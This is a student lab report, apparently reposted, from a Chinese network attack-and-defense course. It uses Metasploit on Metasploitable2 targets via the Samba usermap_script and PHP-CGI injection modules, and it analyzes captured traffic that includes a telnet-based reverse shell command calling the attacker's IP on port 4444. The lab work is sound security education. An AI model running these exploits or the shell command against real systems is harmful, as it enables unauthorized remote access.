20232906 2023-2024-2 《网络与系统攻防技术》第七次作业

news2024/11/20 14:43:08

20232906 2023-2024-2 《网络与系统攻防技术》第七次作业

1.实验内容

一、使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
④设置渗透攻击参数(RHOST,LHOST,TARGET等);
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。

二、实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

2.实验过程

2.1 使用Metasploit进行Linux远程渗透攻击

  1. 简介:Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

  2. 这里我们使用Kali作为攻击机,如图一所示,Kali的IP地址为192.168.1.230。


    图一 Kali的IP地址
  3. 使用Metasploitable2-Linux作为靶机,如图二所示,靶机IP为192.168.1.130。


    图二 Win2kServer的IP地址
  4. 这里我们使用命令msfconsole打开Metasploit,并等待它加载完成。


    图三 打开Kali的Metasploit
  5. 然后我们使用Samba服务的 usermap_script 安全漏洞,使用命令如下:

    use exploit/multi/samba/usermap_script # 将CVE-2007-2447作为目标漏洞
    set payload payload/cmd/unix/reverse   # 设置 Payload 为反向TCP连接
    set LHOST 192.168.1.230				   # 设置攻击机IP
    set RHOST 192.168.1.130				   # 设置靶机IP
    

    CVE-2007-2447:Samba协议的一个漏洞,用户名映射脚本命令执行。该漏洞影响Samba的3.0.20到3.0.25rc3 版本,当使用非默认的用户名映射脚本配置选项时产生,通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令。

    这一过程的截图如图四所示:


    图四 使用MS08-067漏洞利用模块
  6. 最后使用命令exploit即可获取靶机的Shell,如图五所示。


    图五 成功获取靶机Shell

2.2 实践作业:攻防对抗实践

IP地址\成员20232906陈瀚文20232925操昕
攻击机192.168.1.230192.168.1.53
靶机192.168.1.130192.168.1.131
  1. 攻击方
    这里我使用了PHP-CGI Query String Parameter Injection Arbitrary Code Execution漏洞进行攻击,使用攻击命令如下:

    use exploit/multi/http/php_cgi_arg_injection
    set RHOST 192.168.1.131	# 设置靶机IP
    exploit
    

    CVE-2012-1823:用户请求的querystring被作为了php-cgi的参数执行了,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。

    具体运行过程如图六所示:


    图六 攻击方运行CVE-2012-1823

    之后输入命令shell,即可拿到靶机的Shell,如图七所示,但需要进一步提权才能够拿到root权限。


    图七 成功获取靶机Shell
  2. 防守方
    这里对方使用了Metasploit溢出UnrealIRCd后门漏洞进行攻击,抓包结果如图二十所示,攻击者首先向靶机80端口发送攻击载荷,如图八所示,攻击机向靶机发送命令,这一过程执行了休眠进程3964以及通过telnet远程连接攻击机:

    sleep 3964|telnet 192.168.1.53 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.53 4444 >/dev/null 2>&1 &
    

    溢出UnrealIRCd后门:某些站点的UnrealIRCd,在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者通过这个漏洞执行任意代码。


    图八 攻击机攻击载荷
    然后通过载荷利用漏洞成功反弹了Shell,如图九所示。

    图九 攻击机通过反弹Shell执行命令

3.问题及解决方案

  • 问题1:在使用Metasploitable2-Linux,攻击机无法Ping通靶机IP。
  • 问题1解决方案:将Metasploitable2-Linux接入桥接网卡,然后通过命令sudo /etc/rc.local,修改其中包含ipconfig的命令使得IP地址符合桥接网络的IP范围并使网关为桥接网络的网关。

4.学习感悟、思考等

本次实验延续上次实验继续进行了Metasploit的相关实践,通过动手的方式我弄懂了Metasploit对Linux系统的攻击方法。在本次实验中,经过在网上寻找相关资料,我成功地完成了相关的实验内容,总的来说本次实验难度不大,工作量也相对较小,值得注意的是,无论是Linux还是上次实验中的Windows靶机,其都含有许多因未更新软件遗留的漏洞,这也提醒我们应当时刻更新软件至最新版本以尽量减少已知漏洞的存在。对于0-day漏洞,我们可以通过安全软件进行动态检测,检测的对象可以是文件操作记录,网络日志等多种数据源。
感谢王老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!

参考资料

  • Metasploit - 百度百科
  • 【漏洞验证】Metasploitable2靶机漏洞复现 - ps_x
  • HP-CGI远程代码执行漏洞CVE-2012-1823复现 - 从不专注的人
  • Metasploit溢出UnrealIRCd后门漏洞 - weixin_34185320

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1636506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何在Spring Boot中配置数据库密码加密

如何在Spring Boot中配置数据库密码加密? alibaba/druid Wiki GitHub 使用ConfigFilter alibaba/druid Wiki GitHub 巧用Druid数据源实现数据库连接密码的加密解密功能 import com.alibaba.druid.filter.config.ConfigTools;public class Testttt {public stat…

汽车CAN总线技术详解

1. 历史 2. 应用 3. 优点 4. 基础概念 5. 组成 6. 应用 7. 网关 8. 波形分析 参考文献 汽车CAN总线技术详解(100多页支持下载)

帮助 Python 用户构建 CLI 界面:直观易写、简单高效 | 开源日报 No.240

tiangolo/typer Stars: 13.7k License: MIT typer 是一个构建出色命令行界面(CLI)的库,基于 Python 类型提示。它旨在让开发者轻松创建用户喜欢使用的 CLI 应用程序。其主要功能和核心优势包括: 直观易写:强大编辑器…

MySQL中怎么存放一条记录

2.2.1. MySQL中一行记录是怎么存储的? MySQL的数据存储在那个文件? 每创建一个 database(数据库)都会在 /var/lib/mysql/ 目录里面创建一个以 database 为名的目录,然后保存表结构和表数据的文件都会存放在这个目录里…

透视天气:数据可视化的新视角

数据可视化在天气方面能够为我们带来极大的帮助。天气是人类生活中一个重要的因素,对于农业、交通、航空、能源等各个领域都有着重要的影响。而数据可视化技术通过将复杂的天气数据转化为直观、易懂的图表、图像或地图等形式,为我们提供了更深入、更全面…

Windows系统下安装Mosquitto的步骤(2)

接前一篇文章:Windows系统下安装Mosquitto的步骤(1) 本文内容参考: Windows10上安装Mosquitto的步骤(win10、win11 安装mqtt) - IPS99技术分享 MQTT:windows环境下配置MQTT服务器(mosquitto)_…

第7篇:创建Nios II工程之控制LED<二>

Q:上一期我们完成了Quartus硬件工程部分,本期我们创建Nios II软件工程这部分。 A:创建完BSP和Nios II Application之后,在source文件main.c中添加LED控制代码:system.h头文件包含了Platform Designer系统中IP的硬件信…

复旦 北大 | 从头训练中文大模型:CT-LLM

引言 当前,绝大多数大模型(LLMs)基本上都是以英文语料库训练得到的,然后经过SFT来匹配不同的语种。然而,今天给大家分享的这篇文章旨在从头开始训练中文大模型,在训练过程中「主要纳入中文文本数据」&…

易查分如何使用导出PDF功能?

易查分的导出PDF文件功能可以将查询结果下载到本地,也可用于打印出纸质资料。老师和学生家长都可以自主导出PDF文件,下面就来教大家如何使用此功能。 📌老师如何导出PDF? 在查询管理页,点击管理按钮-导出,可…

完美解决AttributeError: module ‘backend_interagg‘ has no attribute ‘FigureCanvas‘

遇到这种错误通常是因为matplotlib的后端配置问题。在某些环境中,尤其是在某些特定的IDE或Jupyter Notebook环境中,可能会因为后端配置不正确而导致错误。错误信息提示 module backend_interagg has no attribute FigureCanvas 意味着当前matplotlib的后…

经典网络解读——Efficientnet

论文:EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks(2019.5) 作者:Mingxing Tan, Quoc V. Le 链接:https://arxiv.org/abs/1905.11946 代码:https://github.com/tensorflow/t…

自动控制原理学习--平衡小车的控制算法(一)

基于单片机STM32的两轮平衡小车,单片机的各种IO、定时器、通讯等等一大堆要理解、编程,但这些都是琐碎的文档知识,需要花时间看各个模块的接口文档进而编程,需要良好的编程逻辑思维,去获取相关的传感模块信息&#xff…

Instal IIS on Windows Server 2022 Datacenter

和以往版本一样,没有什么不同,So easy! WinR - ServerManager.exe 打开服务器管理器,点击【添加角色和功能】,选择自己想要的角色和功能。 一、开始之前:帮助说明,点击【下一步】;…

鸿蒙原生应用元服务开发-Web加载本地页面

将本地页面文件放在应用的rawfile目录下,开发者可以在Web组件创建的时候指定默认加载的本地页面 ,并且加载完成后可通过调用loadUrl()接口变更当前Web组件的页面。 在下面的示例中展示加载本地页面文件的方法: 将资源文件放置在应用的resou…

Matlab生成txt文件导入到Vivado仿真

Matlab处理数据并将其写入txt文件 %% Txt Generate pre_RS_datadec2bin(simDataIn,8); %将数据转化为8bit的二进制 fidfopen("F:\FPGA\Xilinx_vivado\project\dvbstestbench\dbvs\matlab\pre_RS_data.txt","wt"); for i1:n*nMessages %数据…

网盘—下载文件

本文主要讲解网盘文件操作的下载文件部分,具体步骤如下: 目录 1、实施步骤 2、代码实现 2.1、添加下载文件的协议 2.2、添加下载文件函数 2.3、添加信号槽 2.4、实现槽函数 2.5、设置download状态 2.6、添加定义 2.7、服务器接收数据 2.8、添…

【docker】Docker开启远程访问

将构建的镜像自动上传到服务器。 需要开放 Docker 的端口,让我们在本地能连接上服务器的 Docker,这样,才能上传构建的镜像给 Docker。 开启远程访问 首先在服务器打开 Docker 的服务文件 vim /usr/lib/systemd/system/docker.service修改…

ubuntu下安装配置python3.11

方案1 添加仓库: $ sudo add-apt-repository ppa:deadsnakes/ppa $ sudo apt update $ sudo apt install python3.11然后查看有多少个python版本已经安装了: ls -l /usr/bin/python*python2.7,python 3.8 ,python 3.11. 然后,设置系统默认…

贪吃蛇小游戏(c语言)

1.效果展示 屏幕录制 2024-04-28 205129 2.基本功能 • 贪吃蛇地图绘制 • 蛇吃食物的功能 (上、下、左、右方键控制蛇的动作) • 蛇撞墙死亡 • 蛇撞自身死亡 • 计算得分 • 蛇身加速、减速 • 暂停游戏 3.技术要点 C语言函数、枚举、结构…

VPot-Free一款功能强大的文字转语音工具 v2306

01 软件介绍 VPot-FREE是一款功能强大的免费文字转语音工具,为用户提供了便捷的语音合成功能。无论是想将文字转化为语音进行朗读,还是将文章转为语音保存,VPot-FREE都能满足你的需求。 多种语音风格可供选择,包括男声、女声以及…